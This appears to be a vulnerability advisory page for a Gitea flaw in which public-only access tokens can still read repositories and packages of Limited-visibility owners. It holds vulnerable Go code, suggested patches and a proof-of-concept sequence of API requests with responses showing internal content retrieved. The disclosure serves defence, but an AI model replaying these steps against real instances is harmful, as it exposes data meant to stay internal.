CVE-2026-56443: Gitea: Token public-only scope bypassed on Limited-visibility owners (Repository + Package categories) — residual after CVE-2026-25714 / PR #37118
Summary After PR #37118 / CVE-2026-25714 (fix: Unify public-only token filtering in API queries and repo access checks, merged 2026-05-18, backport #37773 to 1.26.2 — the May 2026 unification pass for public-only token filtering, reporter Medoedus per the 1.26.2 release notes), the public-only PAT scope is still bypassable on Repository and Package scope categories when the owner's Visibility = Limited…
Published Jul 21, 2026 · Updated Sep 24, 2026
Affected packages
code.gitea.io/gitea
- Ecosystem
- Go
- Affected
- < 1.27.0
- Fixed in
- 1.27.0
- Check
go list -m code.gitea.io/gitea
gitea.dev
- Ecosystem
- Go
- Affected
- < 1.27.0
- Fixed in
- 1.27.0
- Check
go list -m gitea.dev
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
After PR #37118 / CVE-2026-25714 (fix: Unify public-only token filtering in API queries and repo access checks, merged 2026-05-18, backport #37773 to 1.26.2 — the May 2026 unification pass for public-only token filtering, reporter Medoedus per the 1.26.2 release notes), the public-only PAT scope is still bypassable on Repository and Package scope categories when the owner's Visibility = Limited (instance-internal).
The sibling Org / User / ActivityPub cases in the same checkTokenPublicOnly switch correctly reject Limited owners via !Visibility.IsPublic(). The Repository / Package cases use repo.IsPrivate or Owner.Visibility.IsPrivate(), both of which return false for VisibleTypeLimited — so a public-only PAT strictly exceeds anonymous reach on a Limited owner.
Tested on gitea/gitea:1.26.2. The decisive marker is that PR #37118's unification IS applied in the version under test (User-category PROBE returns 403 "token scope is limited to public users"). Despite that, the Repository-category PROBE on the same Limited owner with the same PAT returns 200 and serves content.
Affected entry points (4 spots)
| File:Line | Function | Affected surface | | `routers/api/v1/api.go:292` | `checkTokenPublicOnly` Package case | API v1 packages | | `routers/api/packages/api.go:76` | `reqPackageAccess` middleware | All 24 native package registries (`/api/packages/<type>/...`) | | `services/context/api.go` | `TokenCanAccessRepo` helper | All API v1 Repository-category endpoints — content, issues, PRs, releases, labels, milestones, etc. | | `services/context/permission.go:32` | `CheckTokenScopes` (called via `CheckRepoScopedToken`) | Web download endpoints `/raw`, `/media`, `/attachments`. LFS routes (`services/lfs/server.go:470/472`, `services/lfs/locks.go:62/151/216/284`) also chain through this helper. |
All four sinks check repo.IsPrivate or Owner.Visibility.IsPrivate() only. VisibleTypeLimited falls through.
// modules/structs/visible_type.go
func (vt VisibleType) IsPrivate() bool { return vt == VisibleTypePrivate } // line 39-40
func (vt VisibleType) IsLimited() bool { return vt == VisibleTypeLimited } // line 33-34Same-file evidence (routers/api/v1/api.go:246-299 after PR #37118)
case auth_model.AccessTokenScopeCategoryOrganization:
orgPrivate := ... && !ctx.Org.Organization.Visibility.IsPublic() // !IsPublic ✓
case auth_model.AccessTokenScopeCategoryUser:
if ... && !ctx.ContextUser.Visibility.IsPublic() { ... } // !IsPublic ✓
case auth_model.AccessTokenScopeCategoryActivityPub:
if ... && !ctx.ContextUser.Visibility.IsPublic() { ... } // !IsPublic ✓
case auth_model.AccessTokenScopeCategoryPackage:
if ctx.Package != nil && ctx.Package.Owner.Visibility.IsPrivate() { // IsPrivate ONLY ✗
ctx.APIError(http.StatusForbidden, "token scope is limited to public packages")
return
}TokenCanAccessRepo (services/context/api.go) reduces to !repo.IsPrivate:
// A public-only token cannot reach a private repo; any other token is unrestricted by this check.
func (ctx *APIContext) TokenCanAccessRepo(repo *repo_model.Repository) bool {
return repo == nil || !ctx.PublicOnly || !repo.IsPrivate
}CheckTokenScopes (services/context/permission.go:32):
if publicOnly && repo != nil && repo.IsPrivate {
ctx.HTTPError(http.StatusForbidden)
return
}PoC (Docker e2e VERIFIED on gitea/gitea:1.26.2, 2026-06-05)
Full script in the report (run-poc.sh). Setup:
- Create user
limuser.PATCH /api/v1/admin/users/limuserwith body{"visibility":"limited", ...}— response confirms"visibility":"limited". - Upload a generic package as
limuser:PUT /api/packages/limuser/generic/secretpkg/1.0.0/secret.txtwith bodysecret-content-internal-only→201. - Create user
attacker. - Mint PAT for
attackerwithscopes=["read:package","read:user","read:repository","public-only"].
Result on gitea/gitea:1.26.2 — nine PROBEs:
PROBE A (download package via attacker PAT)
HTTP=200 Body: secret-content-internal-only
PROBE C (read README of limuser's PUBLIC repo)
HTTP=200 Body: {"name":"README.md", ...}
PROBE F (sanity — User category, same PAT, same owner)
HTTP=403 Body: {"message":"token scope is limited to public users"}
PROBE G (Repository category, same PAT, same owner)
HTTP=200 Body: {"name":"README.md", ...} ← bypass
PROBE H (list limuser's repos, User category)
HTTP=403 Body: {"message":"token scope is limited to public users"}
PROBE M (git HTTPS smart protocol — info/refs)
HTTP=200 Body: 001e# service=git-upload-pack ... HEAD ... ← full clone enabled
PROBE N (write attempt: POST contents/hacked.txt)
HTTP=403 Body: {"message":"user should have a permission to write to the target branch"}
Integrity:N confirmed
PROBE O (Limited ORG — same bypass class)
Org category : HTTP=403 {"message":"token scope is limited to public orgs"}
Repo category : HTTP=200 README content ← bypass
Anonymous baseline (no auth) on every above endpoint: HTTP=401/404Gitea's own server error string in PROBE F / H / O — *"token scope is limited to public users"* / *"public orgs"* — is the explicit declaration of intent. Repository / Package category violates that intent on the same Limited owner.
Why this is not a duplicate of CVE-2026-25714
CVE-2026-25714 / PR #37118 (the May 2026 unification pass for public-only token filtering, merged 2026-05-18, backported to 1.26.2 via PR #37773) realigned checkTokenPublicOnly's Org / User / ActivityPub cases on !Visibility.IsPublic() and introduced the TokenCanAccessRepo helper for the Repository / Issue / Notification cases.
PROBE F on 1.26.2 returns 403 "token scope is limited to public users" for the User category — i.e. PR #37118's unification IS in effect on the version under test. The Repository / Package leak occurs *after* that fix; the Limited gap is the next residual issue on the same hygiene effort (the Package case was not touched, and TokenCanAccessRepo reduces to !repo.IsPrivate without consulting owner visibility), not the same bug.
Suggested fix (4 spots, 1-line shape each)
// routers/api/v1/api.go:292 (checkTokenPublicOnly Package case)
- if ctx.Package != nil && ctx.Package.Owner.Visibility.IsPrivate() {
+ if ctx.Package != nil && !ctx.Package.Owner.Visibility.IsPublic() {
// routers/api/packages/api.go:76 (reqPackageAccess middleware)
- if ctx.Package != nil && ctx.Package.Owner.Visibility.IsPrivate() {
+ if ctx.Package != nil && !ctx.Package.Owner.Visibility.IsPublic() {
// services/context/api.go (TokenCanAccessRepo helper)
- return repo == nil || !ctx.PublicOnly || !repo.IsPrivate
+ return repo == nil || !ctx.PublicOnly ||
+ (!repo.IsPrivate && repo.Owner != nil && repo.Owner.Visibility.IsPublic())
// services/context/permission.go:32 (CheckTokenScopes)
- if publicOnly && repo != nil && repo.IsPrivate {
+ if publicOnly && repo != nil &&
+ (repo.IsPrivate || (repo.Owner != nil && !repo.Owner.Visibility.IsPublic())) {This aligns the Repository / Package categories with the User / Org / ActivityPub siblings already shipped in PR #37118.
Reporter
JebeenLee
Credited to JebeenLee, alecclyde, tayfuryldz.
References
- https://github.com/go-gitea/gitea/security/advisories/GHSA-7p4h-3gxq-x3h3
- https://github.com/go-gitea/gitea/releases/tag/v1.27.0
- https://nvd.nist.gov/vuln/detail/CVE-2026-56443
- https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31
- https://blog.gitea.com/gitea-1.27.0-is-released
- https://github.com/advisories/GHSA-7p4h-3gxq-x3h3
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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